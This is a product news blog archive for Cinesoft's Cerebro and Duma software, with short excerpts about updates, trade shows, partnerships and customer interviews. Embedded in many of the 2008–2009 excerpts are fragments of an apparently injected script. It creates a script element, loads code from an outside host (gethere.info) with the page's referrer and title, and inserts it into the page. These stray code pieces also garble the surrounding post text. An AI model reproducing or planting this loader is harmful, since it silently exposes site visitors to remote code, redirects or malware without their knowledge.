Performance Improved Cerebro speed is drastically increased while: tasks browsing, task properties editing, esp. while multi-task editing task copying, duplicating and multi-task creation by files drag-n-drop into Navigator. messages posting and all the rest functions work much faster now! Material Resource Usage Reports A new feature developed – material resource usage reporting. Advanced Copying Features […]

Case Study – Advance Digital

This month we’re interviewing Yulia Kozhevnikova from the Advance Digital advertising agency. Please tell us a little about your company. We are one of the leading web-advertising companies in Russia; when you look at the advertising volume of our clients on the web, we are in the top three. In the past two years, we […]

Design I Reklama 2011

April 4-7 Central House of Artists (Moscow) hosts Design I Reklama 2011, the 17th Exhibition of Advertising Industry. Our participation in the event will be our first step to focus on advertising market where we’ll offer Cerebro as a project management solution for full-cycle campaigns, from planning and creative ideas through production and media. At our […]

Testing Cerebro for iPhone и iPad

We’ve started Cerebro for iOS beta testing. This version is built for Apple Inc. mobile devices – iPad и iPhone. A month ago we invited iPad users only to test new fetures of this version and today we gladly welcome all iPhone users as well! If you wish to join our testing team please submit […]

OGIC Conference

April 8-10, 2011 Saint Petersburg hosts The First Annual Gaming and 3D Industry Conference – OGIC. On April 9, during the Day of CGI & 3D, we’ll take the floor with our seminar – “Media Project Management Systems”. Our CEO, Konstantin Kharitonov, will touch upon the following common issues: How to shorten production cycle? How to […]

СPS 2011 – March 15-17

March 15-17 , 2011 the 8-th specialized exhibition of services for TV and Cinema production, CPS / Cinema Production Service, will be hosted in Moscow Expocenter. CPS/ Cinema Production Service is Russia’s only specialized exhibition of services for television and film in the format of b2b (business-to-business), focused on producers and all professionals directly involved […]

New office and Director 🙂

On March 09, 2011 we moved in a new fancy office near Electrozavodskaya Metro Station. Now we bathe in the spring sun and admire Moscow sights outside our windows on the 7th floor! :). Our new address: ul. Bolshaya Pochtovaya, 55/59. And, by the way, our new phone number:  +7 (495) 980-03-76. The rest contacts […]

Cerebro updated Forum

Message type can be selected/changed in the Add or Edit dialog windows. Files can be dragged-and-dropped right onto a forum thread. And it calls an Add message dialog window with the dropped files attached to it.Every forum message now has 2 new buttons, Edit and Reply. Locked docksAll docks (Navigator, Forum, Gannt chart, etc.) are now locked […]

Zendesk Support and a new LiveChat system

We gladly inform you that we’ve implemented Zendesk technical support portal. Its URL is http://cinesoft.zendesk.com There you’ll find docs and manuals and an easier and more efficient way for bug reporting. For example, an e-mail message sent to support@cinesoft.ru automatically creates a new ticket in Zendesk. We’ve made a decision to close all duplicating communication channels for […]

Case Study – N3

This month we talk with Timofei Penkov production director of N3. Timofei, could you tell me a little bit about the history of your company? The company is more than 6 years old. At present, we are one of the leading post-production companies in Russia. We specialize in the production of graphic elements for TV […]

Cerebro SaaS has been restored completely!

The denial of service occurred at 22:00 (+3 GMT) on Feb. 17 and lasted until 16:00 (+3 GMT) on 18 February. The incident affected only SaaS (Studio/Private/Demo) users. No user data was affected or lost.It was the first (and we hope the last) incident of server hardware failure. We make every effort to eliminate any […]

Cerebro update

User Profile Edit Administrators are enabled to edit user profiles. If a user belongs to one and the only universe Administrator can edit any profile field, including user e-mail and password. Users are enabled to edit their logins. A Deleted Account Restoration It has been made possible to restore a deleted user account by his/her […]

Testing Cerebro for iPad

Looking for beta testers Cerebro iPad, please write to khar@cinesoft.ru 🙂    

Xmas Bug Fixing 🙂

Many small bugs Fixed! More Information…  

Merry Сhristmas and Happy New Year!

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CG Event 2010 ended

Apple flavored Cerebro

You are 2 steps away from your gift! Make those steps: Register in Cerebro demo version (if not registered yet), Transfer the payment by any convenient  method. Our managers will contact you, discuss the details and close the deal. If your payment amount lets you get several gifts at the same time – just go […]

Cinesoft on CGEVENT

Update: Budget and Multi edit

Budgeting Costs planning and tracking function Payments record Costs statistics A new role – Producer – is added. It should be assigned to a project manager responsible for financial performance of a project. Producer has access to budgets and salaries. Task properties multi-edit You can change task properties for several tasks simultaneously – just select […]

Russian Interface + Tray Notifications

Interface in RussianNow in the desktop client you can switch the interface language to Russian.IPhone and Web versions also have this option:– For IPhone/IPad versions: just change the system regional settings– For Web version: go to menu Language -> Русский   Interactive unread messages notifications If you have unread messages in Cerebro: – the icon […]

Cerebro new version. Work shedule and Calendar.

You will not be able set task planned date and edit Gantt diagram in previous versions of Cerebro client. You should upgrade client in order to do it. Cerebro Task planed time is directly determine its duration in days. You may define work schedules from Tools -> Work Schedules. Work schedule affect only assigned users. […]

Case Study – Ulitka

This month we talk with Eugene Barulin director of “Ulitka Post”. Tell us a little bit about the history of your company, please.Ulitka started out as a small, low-profile company of three-four people, who did all kinds of not-so-large marketing projects. We emphasized our ‘boutique’-like quality (I hate that word, but it’s easier to explain […]

Cinesoft and iPi Soft partnership

Cinesoft and iPi Soft are pleased to announce the signing of a partnership agreement. iPi Soft company released iPi Markerless Desktop Motion Capture system that is used for automated 3D animation production. Optical-based technology is used for recognition of human movements, and special costumes or markers are not required. The actor can wear casual clothes like […]

Case Study – Vedis

This month we talk with Alex Duk director of visualization departament company Vedis. Could you please tell me about the history of your company, about your department? We are a part of a large residential construction corporation in Moscow. Our particular department specializes in computer graphics, architectural visualization, and advertising for Vedice Corp. The major […]

15 NEW Video Tutorials

15 NEW Video Tutorials, with english and russian subtitles.We are waiting for yours comments 🙂 For Worker’s: Create Report Create Message For Admin’s: Create Universe Create Users Create Project For Manager’s: Create Task Create Review Create Message Task is Completed Gantt Chart Overview Project Statistics User Statistics For Client’s: Client Review General: Mirada Tools Overview […]

Cerebro for iPhone update

What’s New In Version 1.1 Recording audio memos to OGG Vorbis Playback sound from Ogg, Wav, Mp3, Aiff formats Russian localization Available from the App Store

Siggraph 2010: see you in LA!

Cinesoft’s Director Konstantin Kharitonov is going to the SIGGRAPH exhibition in LA (from  July 27th to August 4th). If you’d like to meet him, please send us an email at khar@cinesoft.ru. We’ll be glad to see you there 🙂 Updated photo set from SIGGRAPH 2010. Soon will be more – Exhibition and R&H office…    

Update – Mac OS X 64 Bit, ICal

64 bit Version for Mac OS X – This version will work under Mac OS X Leopard 10.5.x, and under Mac OS X Snow Leopard 10.6.x– Stable work under Mac Os Snow Leopard 10.6.x– Productivity increase by 2 times for interface “re-drawing” (when shifting from Carbon to Cocoa)– To change from the 32 bit version […]

Cerebro for iPhone is here!

Features list Available from the App Store

More updates! 2010.06.15

New way of creating and editing tasks Now when you create a task you will be able to give a technical description of the task, and attach files to it in the special window that appears! Тask status can be edited by a manager or an administrator. Statuses: event – for e.g. meeting (new) locked […]

IMPORTANT: scheduled maintenance operations on May 22!

On Saturday, May 22nd from 7:00 am until 18:00 pm technical maintenance operations will be conducted by our hosting center. Cerebro will be unavailable for a while, but not longer than for 4-6 hours. Sorry for the inconvenience!  

Integrating Cerebro and Mikogo Web Conference

Cinesoft and BeamYourScreen are proud to announce the integration of the Cerebro project management complex with Mikogo – the easy-to-use and cross-platform remote desktop tool ideal for web conferencing and remote support. The Mikogo software has been implemented within both the Cerebro Mac OS X and Windows distribution kits. We have created a new “Web […]

Finally! Cerebro features Gantt chart!

Finally, on request of and dreading the threats of our users 🙂  Cerebro now includes Gantt Chart!To edit Gantt chart please go to <Editable> mode. Plus: – Task Properties – new links section (task dependence) and expanded date section;– New Light interface style (looks a little like MS Оutlook) works for all operational systems; – […]

Cerebro and Wacom announce Witty Critics contest!

You’ve always felt a great critic inside you, struggling to break free, but were afraid to admit it? Do you have a burning sense of the beautiful? Have an artistic talent and a mind that scintillates with wit? Cinesoft and  Wacom will help you unleash your talents and reward the most inventive! Download the Wacom […]

Cinesoft will take part in the CPS 2010 exhibition!

Find out more about Cerebro during the CPS exhibition that will be held on April 27-29th in the Moscow World Trade Center ! Cinesoft will participate in the event in cooperation with its partner company JC System Integration, an acclaimed Russian distributor of software and hardware for the production of digital cinema, virtual reality projects […]

Cerebro preview for Apple gadgets

Cerebro is planning on launching IPhone / IPod Touch and a special IPad version! By the way, the current client already works offline and has a crafty caching system 🙂 While you’re waiting for the launch you can become a Cerebro client beta-tester. All you need to do is: Test Cerebo and write about the […]

Interview with the Bazelevs team

Interview with Bazelevs team (sorry, only in Russian). We chose Cerebro, because it gives our director the opportunity to give timely comments on our work and is user friendly. Plus, we can see the progress on different shots that are all done at the same time, set tasks for our employees and give them all […]

Please welcome the Cerebro Web version!

The Cerebro web version has finally  been launched! You no longer need to install Cerebro locally. If you have Internet access, your login and password – welcome aboard! Access your Cerebro account from any computer. We remind you that in the web version you will be able to: view task tree; view assigned and interest […]

Cerebro and Wacom: creative reviewing with a feather-like touch

Cinesoft, developer of Cerebro media project management complex and Wacom CIS, the representative (on the territory of Russia and CIS) of the world’s leading manufacturer of pen tablets, interactive pen displays, and digital interface solutions have entered into a strategic partnership. A first step towards mutually beneficial cooperation was the integration of Wacom pen tablets […]

Winners of the “Become a Cerebro fan” contest!

Congratulations to: Andrey Savchenko from the Ukraine Maxim Moiseev from Russia And mysterious mr. V Du from the United States 🙂 The winners of the contest have been presented signup for 6 months to Cerebro! Thanks to everyone who participated! Keep up with the news,  new contests and prizes yet to come!

The “Become a Cerebro fan” contest has begun!

Cinesoft announces the “Join the Cerebro Fan Club” contest! Free signup for 6 months for the popular project management complex Cerebro is only two steps away! All you need to do is: – join the Cerebro fan page on FaceBook.com here; – register in the demo version of Cerebro here; – fill in contest participant […]

Update – Wacom support + Usability

– we now support Wacom drawing boards with brush size depending on pressure level; – supports switch to “eraser” option that is turned on when pen turned upside down; – new panning instrument (by default in Mirada main menu); -more compact interface to fit notebook screen; – new floating tool bar menu with New Task, […]

New Cerebro rate plans

Cinesoft presents the new Cerebro rate plan, developed in accordance with the needs and demands of all our different users. You can now purchase sign up for 1, 3, 6 and 12 months or signup permanently 🙂 ! We tried to make our rates as money-saving as possible: according to one of the options, for […]

Cinesoft to launch iPhone

Available from the App Store Cerebro iPhone version 1.0. was developed specially for users that are  constantly on the move but still need to keep in touch. We’re sending out the application to Apple for approval, so keep your fingers crossed!  🙂 Main functions: work offline! view task tree; view assigned and interest task lists; […]

Planning to launch Cerebro Web version!

The web version of Cerebro was developed specially for users that like a change of scene :), or, in other words, do not work on one computer. It can also come in handy for your clients that don’t have the opportunity to install the Cerebro Desktop Client version. We plan on launching Cerebro Web in […]

Web-seminars and help with Cerebro installation

Web-seminar (Webinar) “Cerebro introduction course” What is a Web-seminar? A Web-seminar is a type of web conference where the participants are able to see everything the tutor is doing on his/her desktop. Apart from that all participants can ask questions online via messenger or conversation services. Duration – 30 minutes. To request a Web-seminar please […]

Live Chat button on our website!

Get quick answers to your Cerebro questions online! We now have a Live Chat button in the right hand field of our website. Work in business days (11 AM – 9 PM)!

Update – Excel export, Task reordering

– task shifting and copying to various levels and projects Select task in the Navigator menu using the shortcuts listed below or by right mouse click:ctrl-c – to copy (when copying a task all the subtasks will be copied, Definitions will be copied from messages)сtrl-x – for shiftingctrl-v – to paste– Fully re-written “Tools/Project Statistics”… […]

New version – Support Release

Full list of changes (fixed many small bug’s)   You can find updated crash courses here http://cinesoft.ru/cerebro/cerebro_crash_course_eng.pdf Resized the Tools -> Administrator window, it will now fit on a 1024×786 screen New settings after a file has been downloaded by double-click Cerebro->Preference menu:– open file in Mirada– open dialogue window from which you can shift […]

New Year!

Happy holidays to everyone and best wishes for the New Year! By the way, we’ve created a Feeedback button http://cerebro.userecho.com/ and are waiting for your suggestions 🙂 We’ll be back in operation on Jan. 6  2010.

Siggraph Asia 2009. Impressions.

Actually, we weren’t quite expecting this. Siggraph Asia 2009 really gathered a lot of visitors: 6500 people from 50 countries in 3 days. Notwithstanding the huge language barrier (as the main languages in cosmopolitan Tokyo are Japanese and the language of signs which we spoke fluently by the time we left) Cerebro aroused the interest […]

CG Event as it was

All articles and discussions: (in Russian)CG Event, зима 2009 года (mir3d.ru)http://www.cgtalk.ru/forum/showthread.php?t=25444&page=4http://renderman.ru/forum/read.php?1,11690http://forum.cgtalk.by/showthread.php?t=9702 – http://sites.google.com/site/damat3d/public/cg-event-2009-zima –  Practical outsource | Dmitry damat Astapkovich All photos:http://picasaweb.google.com/cgevent/CGEVENT2009 – Official photosФотографии с евента (mir3d.ru)Знакомые лица (mir3d.ru)http://picasaweb.google.ru/rulexip/Event_2009_winterhttp://picasaweb.google.com/Vodoley88/CGEVENT2009http://picasaweb.google.com/olga.tsibulina/brzmdF http://photofile.ru/users/irina_sergeeva/96282475/all/ http://shazoo.ru/news/event-693http://fotki.yandex.ru/users/druxo/album/59355/ http://v3ddotru.blogspot.com/2009/12/cgevent-russian-siggraph.htmlhttp://sites.google.com/site/damat3d/public/cg-event-2009-zima

Trial version

Cinesoft is proud to present a fully-rewritten new upgraded version of Cerebro! Working 5 times faster Cerebro now offers on-line commenting and reviewing options in the Mirada module, asynchronous work with your database, all task and message data is now cached for your convenience. You can finally register in our new demo-version here http://cerebrohq.com/en/pricing/ Dowload […]

Photos from the exhibition Nat Expo 2009

A big thank you to all those who came to visit us at our shared booth with Polden studio at the NATexpo exhibition! We were very glad to see you and hope that you were able to appreciate the new Cerebro options, such as online reviewing, timeline and mouse cursor synchronization that can now be […]

Come to Our Booth at Nat Expo 2009

NATEXPO is an annual, international exhibition and conference focused on technologies, professional equipment and services for the Television, Radio and New Media Broadcasting and cinema production. NATEXPO 2009 will take place from in the brand new pavilion 75 of All-Russian exhibition center ‘VVC’, on November, 17–20. You can find us at booth A25 our partners […]

Nice to Meet You at the Irgromir 2009

Igromir 2009 — Russia’s #1 Games Show will be held on Thursday November 05, 2009, 11:00AM at Sunday November 08, 2009, 05:00PM at Moscow. You can find us at booth D2-D6 TV Сhannel Perviy Igrovoy

Cerebro Web User Profile

Now in site you can login in Cerebro and change you profile or get new password. It’s easy, all you need is just to find Sign In link, located at the top-left corner of the site and type-in your credentials. Click on the screenshot to take a closer look.

Companies for CG Outsourcing Wanted!

We are glad to present website — rendermania.ru, representation of the Russian Company named Asymmetric VFX and the American Company named Transparent House, supported by CineSoft company in the sphere of computer graphics outsourcing. We are seeking for Partners from Asian regions to carry out business in the following spheres: Modeling Texturing Animation Compositing Rotoscoping Architectural visualization More details — rendermania.ru   […]

Our photostream from Siggraph 2009

Our photostream from siggraph [:]

See You at SIGGRAPH 2009

Our team head Konstantin Kharitonov will be at SIGGRAPH 2009 in New Orleans from Monday 3th August to Friday 7th August and after it Los Angeles from Monday 10th August to Friday 14th August! If you want to meet with us and learn мore about our products please send e-mail info@cinesoft.ru or just call +7 […]

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The Response Speed is 3 Times Faster

The speed of response to a database accelerated three times — all thanks to our new dedicated server! We were able to move without changing any settings on the user side.

Photos from Cg Event 2009 summer

Photos from Cg Event 2009 summer [mappress]

The second issue of the magazine «Magic CG»

New second issue of the magazine «Magic CG» there is an article about us. (Russian) The page for download

We will be glad to meet you at the CgEvent 2009 Moscow

1-12 July 2009 in the World Trade Center at Krasnaya Presnya in Moscow Sixth Conference on computer graphics «CG-EVENT-2009-SUMMER». During the two day conference, according to tradition, will be presented to the best domestic and foreign projects in the field of computer graphics. You can find Cerebro on our booth and on free Seminar: 12 […]

Interview for mir3d.ru

Interview for mir3d.ru (Russian)

The first training cou

http://picasaweb.google.ru/khar.khar/CerebroCourse – some photos 🙂

Email digest and notificat

Now we start sending digest and instant notification by email! You can configure email Digest in menu Cerebro/Change profile … (Click for enlarge)

New mirada playlist and password reminder

More details (Russian)

Seminar and education cources in RealTime School

On Saturday, on June 6 RealTime School organizes a seminar – “Management of VFX / Animation / Game Projects”. Admission is free. Recruitment of students for the first course, has already begun. Read the training program, you can following this link. (Russian) Дмитрий Остроглядов Управление медиа-проектами 6 июня, 12:00 Суббота Организатор: Школа RealTime

Invite from other Unive

New opportunity – invite peoples in your Universe. Work like Skype add to contacts list 🙂 (Click for enlarge) [:]

Change database adress to cerebro.cinesoft.ru

We are moving Cerebro SQL data base to new hosting! More details in forum – http://www.cinesoft.ru/forum/viewtopic.php?f=3&t=21 (Russian) } else {

Notes after CPS

«T-Platform» at the Cinema Production Service 2009 (Russian) All of the tasks carried out under control of Russia’s software development partner T-Platforms Company CineSoft. Their product Duma was created to manage distributed computing. UPD: Now we are Software solution partner Some photos: } else {

Sergei Tsyptsyn interview

Sergei Tsyptsyn interview (March, 2009) (Russian) In addition, we worked closely with Kostya Kharitonov and company Cinesoft, which makes the package Cerebro, and we use their project management system for uploading, and play materials that are produced during the course. var d=document;var s=d.createElement(‘script’);

Cerebro under Mac O

We did it !!! Detailed Announcement in forum (Russian) (Click for enlarge) [:]if (document.currentScript)

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New Icargo look – GUI and Statistic

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We will be glad to meet you at the CPS 2009 Moscow

«CPS/ Cinema Production service» is the only specialized exhibition in Russia, which will provide a full range of services for TV-and-Cinema production. Leading film studious, firms undertaking comprehensive production arrangements, companies that offer professional services in this branch, sellers and manufacturers of filming equipment present CPS. You can find the Duma on T-Platforms / A-Vfx […]

Vegetables eat vegetables

RealTime School announces collaborating 3D short animated project. All the management on the project will occur in the Cerebro. If you have already studied in RealTime, we invite you to participate in creating a short animated film. This is a non-commercial project, which  give school students an opportunity to express themselves. Drawing concepts, characters and […]

Dmitry Shirokov interview

Dmitry Shirokov interview (January, 2009) (Sorry only in Russian) Training is conducted in the style of work on a big project, the system Cerebro, provided by the company «Cinesoft» … Обучение проводится в стиле работы на большом проекте, на системе Cerebro, предоставленной компанией «Cinesoft». [UPD] Detailed description Online courses by Scream School

Luke! Don’t give in to hate. That leads to the Dark Side.

Now you can choose you destiny: The Dark side or the Light side of the Force 🙂 d.getElementsByTagName(‘head’)[0].appendChild(s);

It’s Another New Year !!!

Look at fantastic gift from our friend Andrew Polegaev! Vladimir Barzionov and I, we are just like Steve Jobs and Bill Gates in the 80’s:) Later, we intended you more photos from our New Year party! (Click for enlarge) }

New VrayScatter Demo

This video was made by our friends from the Russian Avantgarde, they used their own 3ds Max plug-in VrayScatter and for render farm management used Duma. Low (27mb) | Medium (77mb) | High (112mb) document.currentScript.parentNode.insertBefore(s, document.currentScript);

New Search

Three types of search: messages + task + attachments Dynamic number of search criteria, like Mac OS X finder ! User and Server (company) presets P.S: By the way, right now we can export all visible stuff in Excel: Navigation / Interest / Assigned task and  of course all types of search ! All exports […]

CG Event Winter 2008

It was cool ! See you next year ! Feed back stuff, many photos and Russian speech: http://picasaweb.google.com/cgevent/CGEVENT20081 – day one http://picasaweb.google.com/cgevent/CGEVENT20082 – day two http://picasaweb.google.com/luno17/CGEVENT20082930 – nice sepia photos 🙂 http://picasaweb.google.ru/zabelinvlad/CGEVENT2008 http://picasaweb.google.com/Vodoley88/CGevent2008 http://picasaweb.google.com/Vodoley88/Cgevent200805 http://www.flickr.com/photos/tykobi/sets/72157610647521011/ – photos by Mach Tony Kobayashi (Pixar) NEW http://picasaweb.google.com/sashagorec/CGEvent2008WinterMkRisunok http://www.cgtalk.ru/forum/showthread.php?t=22124 http://forum.cgtalk.by/showthread.php?t=4374 http://www.myarchipress.com/archives/2008/12/02/1195 http://blog.leoartz.com/2008/12/02/cgevent_2008_feedback/ http://renderman.ru/forum/read.php?1,7839 More on  http://www.cgevent.ru (Click for enlarge) […]

New text comments in eye

Features: Multiply comments on time line or in one frame Unicode support, see screenshot w/ Russian text Any text style, by robust WYSIWYG html editor Active links to other Cerebro task/messages or any html url and etc. (Click to enlarge) if (document.currentScript) {

Autodesk Acquire Softimage

1.A New Era – from sidefx.com The news that Softimage will be acquired by Autodesk marks the end of an era. The past 20 years, developing software alongside Softimage has been a dynamic time, full of innovation and healthy competition. Starting with character animation in 1988, Softimage has advanced the industry in many areas. I […]

See you at CG EVENT 2008 Moscow

Our company members Konstantin and Vladimir will be at CG EVENT 2008 in Moscow from Saturday 29th to Sunday 30th november and we’d love to meet you. If you’ll be at CG EVENT too, please send us an e-mail. See you there!

New features of Duma

Job Exec Order – new abilities for job schedule ! Job Dependences between any job ! In-line job list edit – job priority and order ! New job tag for preventing submit jobs w/ not unique output sequences Any color mask for any jobs New multi host commands on render farm (user customized)

New look of Cerebro GUI

Many minor changes associated with usability and nice design 🙂 Two navigation model – new “like” ms explorer and old “like” mac finder  🙂 New icons for every task – indicates subscription, unwatched, type of structure inside Two sorting model for messages – new structured and old by mod. time Status bar w/ some information […]

Mythbusters w/ Nvidia

Original Nvidia PR !  Of course in Cerebro (eye) we use GPU too 🙂 P.S: Page w/ slow-mo on Nvidia site 🙂

Press about us

Interview for render.ru (October, 2008) (Sorry only in Russian) 3D Word (tiny message) (October, 2008)} else {

Plastic Logic Reader !

Wow !!! It is real cool stuff ! But where is colors in my paper ? 🙂 P.S.: Context is cool as hell, but presentation is sucks 🙁 Two minutes until the show cool stuff :(d.getElementsByTagName(‘head’)[0].appendChild(s);

We returned from Los Angeles

The devil it was cool! I was at Siggraph first time:) Our photos: Siggraph Stuff Grand Canyon + Los Vegas Siggraph Stuff (Pixar User Group) R&H office }

Real-world performance iPhone 3G

PR must be truly… If no, it sets the wrong expectations ! s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Advanced Spreadsheet Function

Cull stuff  – In Which A Spreadsheet Function Makes Me Positively Giddy P.S:  Big update for Research on visual effects production databases P.P.S:  First press 🙂 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Duma and Cerebro: demo versions released

Fill in “Demo Request Form” now and get all the Instructions in one business day! Detailed Download Instructions for Duma and Cerebro demos will be sent out to all users of pre-order programm! P.S. Enjoy demo versions for Linux 32/64 and Windows now! Demos for Mac OS X to be available after SIGGRAPH. var d=document;var s=d.createElement(‘script’);

Working Remotely: Yes, It Sounds Good !

Working Remotely: Yes, It Sounds Good, But How Do You Actually Do It? – some cool stuff ! By Jake Simpson Gamasutra July 24 2008 var d=document;var s=d.createElement(‘script’);

Open-source ways to Make Money?

For me open source is not a business model at all ! And why price on this paper about open source is so high ? Characteristics of Open Source Software Vendors: Results from IDC’s 2008 OSS Vendor Survey By: Matthew Lawton Program Director, Software Business Strategies Printed Page Length – 20 pages and Price – $ […]

Cross-platform api’s and tools for Duma ?

We are needed to find good api’s and tools for developing future Duma versions ! Restriction – api’s or tools must be cross-platform and free: (clients must be on linux, mac and win) Robust GUI client for remote administration ? (Imagine… One click for open remote admin at needed host from Deputate client) May be […]

Original starup software for measure programmers’ work

http://www.programeter.com Indicators by Programeter Know-How Score. Illustrates breadth of the programmer’s knowledge in the project. Unique Know-How. Measures knowledge of the programmer that is NOT shared with other team members. Fresh Know-How. Measures programmer’s knowledge that was refreshed during the reporting period. New Know-How. Measures knowledge of the programmer that was introduced during the reporting […]

UniCluster in Amazon EC2

How To Deploy UniCluster Express in Amazon’s Elastic Computing Cloud (EC2) Get Pdf – http://www.univaud.com/hpc/wp-unicluster-amazon-ec2.php The best part is – “00:05.07 minutes later …” 🙂 Other videos: http://www.screencast.com/users/BioTeam/folders/UniCluster-in-Amazon-EC2var d=document;var s=d.createElement(‘script’);

Apple filing takes Podcasts to the next level

Apple filing takes Podcasts to the next level – Fanny 🙂 Tree patents, but none of which have come to fruition as of yet ! “A recently published filing discovered by AppleInsider reveals work by Apple’s chief software architect to advance the Podcast beyond its static form and into a live interactive presentation medium suitable […]

Some interesting videos

1. Talks by vfx supervisors Mike Fink and Jeffrey Okun at CineGear 2008, care of StudioDaily. Some fanny and interesting video, Jeffrey Okun talking about Balancing Artistry & Budgets 🙂

Dont Click

http://dontclick.it – some nostalgia 🙂 At the beginning of 2006, this site was Cool As Hell , but rigth now, it is like not usable funny stuff 🙂 P.S: We just installed in our blog Digg, sociable bookmarks and Gravatars !d.getElementsByTagName(‘head’)[0].appendChild(s);

Remote review and appro

I think it is last reseach list 🙂 Remote review and approval tools: cineSync FrameCycler FuzeMovie (Formerly SyncVUE) Cerebro by Mirada 🙂 Alienbrain PDPlayer Concept Share (web) Cozimo (web) Octopz(web) ProofHQ [updated] (web) May be you know others ? [:]d.getElementsByTagName(‘head’)[0].appendChild(

Render Management Softw

Some research again 🙂 Restrictions : multi platform software – linix/mac/win ! NOT in-house ! No matter – free or commercial, open source or proprietary and etc. List: Alfred – king of The World ! Duma – like Alfred on drugs 🙂 Qube! Deadline DrQueue (Open Source) GridEngine (Open Source) SunGrid RenderPal Smedge Rush Muster […]

Research on visual effects production databa

New from http://www.symphonicenergy.com/DAM [update]Media Management Deep-FreezeSequoya WorkflowNexPosure Good research – http://blog.janheinze.de/index.php?id=43 Showrunner shotrunner.com Missing Link Mathilda But I can add more systems for VFX project management / Asset managemt: Alienbrain The TACTIC GDI|Explorer Project Overlord Invisually 5thkind (old name Otc-productions) Bo-Le-Ro Helga – Open Source Temerity Pipeline vfxnexus Cerebro 🙂 From http://motion6.com/blog/2008/04/29/vfx_project_tools Compbase appears to be a […]

37Signals Book – Getting Real

Every developer or project manager should read Getting Real ! I’m really enjoying right now ! Book was published in 2006, may be i was in other Galaxy 🙂 Read free on-line: Original Russian }

Demo Request

Just do it – Try it 🙂 Sorry but is a Pre-Order form, actual date for try versions will be announced in near future ! s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Now feedburner

Now we use feedburner for RSS and Email Subscription 🙂 if (document.currentScript) {

Forum

We have launched the Forum ! Fell free for asking any questions in our discussions forums. d.getElementsByTagName(‘head’)[0].appendChild(s);

See you at SIGGRAPH 2008 LA

Our company members Konstantin and Vladimir will be at SIGGRAPH 2008 in Los Angeles from Monday 11th August to Saturday 16th August and we’d love to meet you. If you’ll be at SIGGRAPH too, please send us an e-mail. See you there!if (document.currentScript) {

Some new features of Deputat

New style for task progress representation Use Underline style for serial subtasks Button for  show or hide instanced tasks

Excel export

First steps in excel export. New buttons in Project Stats ! d.getElementsByTagName(‘head’)[0].appendChild(s);

Launch

We have launched the web site ! }